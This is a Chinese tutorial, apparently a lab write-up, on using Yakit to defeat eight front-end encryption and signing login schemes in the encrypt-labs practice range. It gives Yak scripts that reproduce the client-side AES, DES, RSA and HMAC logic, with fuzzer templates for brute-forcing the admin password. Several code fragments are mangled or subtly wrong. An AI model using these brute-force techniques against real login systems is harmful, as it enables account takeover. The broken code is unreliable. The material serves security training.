利用Yakit实战encrypt-labs加密对抗靶场教学文档
1. 靶场与工具介绍
1.1 encrypt-labs靶场
- 目标:一个专注于前端加密对抗的练习靶场,模拟了各种现代Web应用中常见的加密场景,用于提升渗透测试人员处理前端加密的能力。
- 包含场景:非对称加密、对称加密、加签、禁止重放等。
- 具体技术:AES、DES、RSA等算法的实战应用。
1.2 Yakit工具
- 定位:一款功能强大的国产单兵渗透测试工具。
- 核心优势:
- 高度集成:集成了多种安全测试功能。
- 可扩展性:远超传统工具(如Burp Suite)的可玩性和可操作性。
- Yak语言:内置基于Go的嵌入式脚本语言,支持热加载、并发,专为安全领域设计,简单高效。
- 序列Fuzz:能够像流水线一样自动化处理复杂、连贯的请求,支持数据提取、继承和分析。
2. 实战前准备
- 部署靶场:按照
SwagXz/encrypt-labs项目的说明,搭建好本地或远程测试环境。 - 创建数据库:根据靶场要求创建数据库并导入初始数据。
- 熟悉界面:访问靶场登录页面,前端提供了7种不同的登录模式,对应不同的加密方式。
3. 各加密场景分析与Yakit攻破方法
3.1 场景一:AES固定Key
-
前端逻辑分析:
- 点击“AES固定Key”按钮触发
sendDataAes函数。 - 函数将用户名和密码组合成JSON字符串。
- 使用AES-CBC模式进行加密,Key和IV均为固定值:
1234567890123456。 - 将加密后的密文通过
encryptedData参数以POST请求发送到/encrypt/aes.php。
- 点击“AES固定Key”按钮触发
-
Yakit攻破方法:
- 使用Yak语言热加载:编写一个AES加密函数,复用前端的固定Key和IV。
// 热加载函数定义
aes = func(p) {
key = "1234567890123456"
iv = "1234567890123456"
// 将输入的用户名密码(如"admin,password")分割并组成JSON
results = str.Split(p, ",")
m = {"username": results[0], "password": results[1]}
jsonInput = json.dumps(m)
// 使用AES-CBC-PKCS7Padding加密
result = codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)
// 返回Base64编码结果
base64Result = codec.EncodeBase64(result)
return base64Result
}
2. **发起Fuzz攻击**:在Yakit的Web Fuzzer中,使用Payload和Yak函数结合进行密码爆破。
POST /encrypt-labs/encrypt/aes.php
...
Content-Type: application/x-www-form-urlencoded; charset=utf-8encryptedData={{urlesc({{yak(aes|admin,{{payload(pass_top25)}})}})}}
```
-admin为固定用户名,{{payload(pass_top25)}}为密码字典。
-{{yak(...)}}调用热加载的AES函数进行加密。
-{{urlesc(...)}}确保加密后的数据符合URL编码格式。 - 使用Yak语言热加载:编写一个AES加密函数,复用前端的固定Key和IV。
3.2 场景二:AES服务端获取Key
- 前端逻辑分析:
- 点击按钮触发
fetchAndSendDataAes函数。 - 首先向
/encrypt/server_generate_key.php发起请求,服务端动态生成并返回本次会话的Key和IV(通常与Cookie关联)。 - 然后用获取到的Key和IV对凭据进行AES加密,最后发送到
/encrypt/aesserver.php验证。
- 点击按钮触发
- Yakit攻破方法:
- 使用“序列Fuzz”功能:模拟浏览器的连续请求。
- Step 1:获取动态Key/IV
- 发起一个GET请求到
/encrypt/server_generate_key.php。 - 使用数据提取器(如正则表达式或JQ)从响应中提取出Key和IV,并设置为变量(如
key_var,iv_var)。 - 为确保每次Key不同,可在请求中设置随机的Cookie值。
- 发起一个GET请求到
- Step 2:加密并提交登录请求
- 发起POST请求到
/encrypt/aesserver.php。 - 使用热加载的Yak函数进行加密,但Key和IV不再固定,而是继承自Step 1中提取的变量:
{{yak(aes_dynamic|admin,password,{{key_var}},{{iv_var}})}}。 - 同时,Cookie等信息也需要继承自Step 1的响应。
- 发起POST请求到
- Step 1:获取动态Key/IV
- 使用“序列Fuzz”功能:模拟浏览器的连续请求。
3.3 场景三:RSA加密
- 前端逻辑分析:
- 使用
jsencrypt.min.js库。 - 用户名和密码被一个固定的RSA公钥直接加密。
- 由于RSA是非对称加密,无法从公钥推算出私钥,故不能直接解密。
- 使用
- Yakit攻破方法:
- 热加载RSA加密函数:在Yak中实现相同的RSA公钥加密逻辑。
// 从前端代码中提取出的固定公钥
pubKey =-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----
// 使用公钥加密输入的数据
encrypted = codec.PemPkcs1v15Encrypt(pubKey, p)
return codec.EncodeBase64(encrypted)
}
```- Fuzz攻击:在Web Fuzzer中,将用户名和密码组合后作为RSA加密的输入。
``` - 热加载RSA加密函数:在Yak中实现相同的RSA公钥加密逻辑。
3.4 场景四:AES+RSA混合加密
- 前端逻辑分析:
- 随机生成一个AES Key和IV。
- 用这个AES Key和IV加密用户名和密码。
- 用一个固定的RSA公钥分别加密AES Key和IV。
- 将AES密文、加密后的Key和IV一同发送给服务端。
- 服务端用RSA私钥解密出AES Key和IV,再解密获得明文凭据。
- Yakit攻破方法:
- 关键点:虽然AES Key是随机的,但RSA公钥是固定的。如果能获取到对应的RSA私钥,即可解密出任何会话的AES Key。
- 私钥位置:文章提到私钥可能存放在前端源码或服务器的某个可访问文件中(如
rsa_private_key.pem),需要仔细审计。 - 热加载函数:编写一个复杂的Yak函数,模拟整个流程。如果无法获取私钥,则攻击难度极大,需要利用其他漏洞。
3.5 场景五:DES规律Key
- 前端逻辑分析:
- 使用DES加密,Key和IV由用户名规律性生成。
- Key生成规则:取用户名,不足8位用
6填充,超过8位取前8位。例如,用户admin生成Key为admin666。 - IV生成规则:取用户名的前4位,前面用
9补满8位。例如,用户admin生成IV为9999admi。 - 用户名明文传输,密码被DES加密后传输。
- Yakit攻破方法:
- 热加载DES函数:根据规则动态生成Key和IV。
// 生成Key
key = str.Substr(user, 0, 8) // 取前8位
for i = 0; i < 8 - len(key); i++ {
key = key + "6" // 不足补6
}
// 生成IV
ivPrefix = str.Substr(user, 0, 4) // 取前4位
iv = "9999" + ivPrefix // 前面补4个9
// DES加密密码
encrypted = codec.DESCBCEncrypt(key, pass, iv)
return codec.EncodeBase64(encrypted)
}
```- Fuzz攻击:假设用户名为
admin,对密码进行爆破。
``` - 热加载DES函数:根据规则动态生成Key和IV。
3.6 场景六:明文加签
- 前端逻辑分析:
- 不再加密密码,而是发送明文。
- 为了防止篡改,增加了签名机制。将用户名、密码、一个随机数(Nonce)和当前时间戳,用一个固定的Key(
be56e057f20f883e)进行HmacSHA256计算,生成签名。 - 将明文数据和签名一同发送。
- Yakit攻破方法:
- 热加载签名函数:复现前端的签名逻辑。
key = "be56e057f20f883e"
nonce = "123456" // 如果前端固定,则此处固定;如果动态,需提取
timestamp = "1739195500" // 当前时间戳,需要动态生成
// 拼接签名字符串
signStr = sprintf("%s%s%s%s", user, pass, nonce, timestamp)
// 计算HmacSHA256签名
signature = codec.HmacSha256(key, signStr)
return sprintf("username=%s&password=%s&nonce=%s×tamp=%s&signature=%s", user, pass, nonce, timestamp, signature)
}
```- Fuzz攻击:在Web Fuzzer中直接调用该函数生成完整的POST Body。
- 热加载签名函数:复现前端的签名逻辑。
3.7 场景七:加签Key在服务器端
- 前端逻辑分析:
- 这是场景六的升级版。签名所需的Key不再硬编码在前端,而是存放在服务器。
- 流程变为两次请求:
- 前端将用户名、密码、时间戳等数据发送到
/encrypt/get-signature.php。 - 服务端用其存储的Key计算签名,并将签名返回给前端。
- 前端再将数据和收到的签名一同提交到
/encrypt/signdataserver.php进行验证。
- 前端将用户名、密码、时间戳等数据发送到
- Yakit攻破方法:
- 必须使用“序列Fuzz”:
- Step 1:获取签名
- 向
/encrypt/get-signature.php发送POST请求,Body中包含用户名、密码(来自Payload)和当前时间戳(可设为变量保证一致)。 - 从响应中提取出
signature字段。
- 向
- Step 2:验证登录
- 向
/encrypt/signdataserver.php发送POST请求。 - Body中的数据(用户名、密码、时间戳)继承自Step 1的请求。
- 签名
signature继承自Step 1的响应。
- 向
- Step 1:获取签名
- 必须使用“序列Fuzz”:
3.8 场景八:禁止重放
- 前端逻辑分析:
- 主要防御重放攻击(拦截请求后重复发送)。
- 前端使用一个固定的RSA公钥加密当前的时间戳(
Date.now(),注意是毫秒级),生成一个random参数。 - 将用户名、密码和这个
random参数一起发送。服务端会解密random得到时间戳,并判断该请求是否在有效时间窗口内(如5分钟),过期则拒绝。
- Yakit攻破方法:
- 热加载时间戳加密函数:在每次请求时,动态生成当前时间戳并进行RSA加密。
pubKey =-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----
// 注意!JS中Date.now()是毫秒,不需要除以1000
timestamp = string(unixtime())
encrypted = codec.PemPkcs1v15Encrypt(pubKey, timestamp)
return codec.EncodeBase64(encrypted)
}
```- Fuzz攻击:在Web Fuzzer中,每次请求都调用该函数生成新的
random值。
``` - 热加载时间戳加密函数:在每次请求时,动态生成当前时间戳并进行RSA加密。
4. 总结与核心技巧
通过本靶场的实战,可以总结出应对前端加密的通用思路和Yakit的核心用法:
- 代码审计:首要任务是阅读和分析前端JavaScript代码,理解加密、签名、密钥生成的具体逻辑和流程。
- 识别关键:判断是静态密钥(固定/规律)还是动态密钥(服务端下发)。静态密钥可直接复现,动态密钥需处理会话。
- Yak语言热加载:将前端的加密/签名逻辑用Yak语言完美复现,是自动化攻击的基础。
- 序列Fuzz:对于多步骤的复杂场景(如服务端动态Key、服务端加签),序列Fuzz是唯一的自动化解决方案,它能优雅地处理请求间的依赖关系。
- 活用提取器:熟练使用数据提取器(正则、JQ等)从响应中获取Token、Key、Signature等动态值,并传递给后续请求。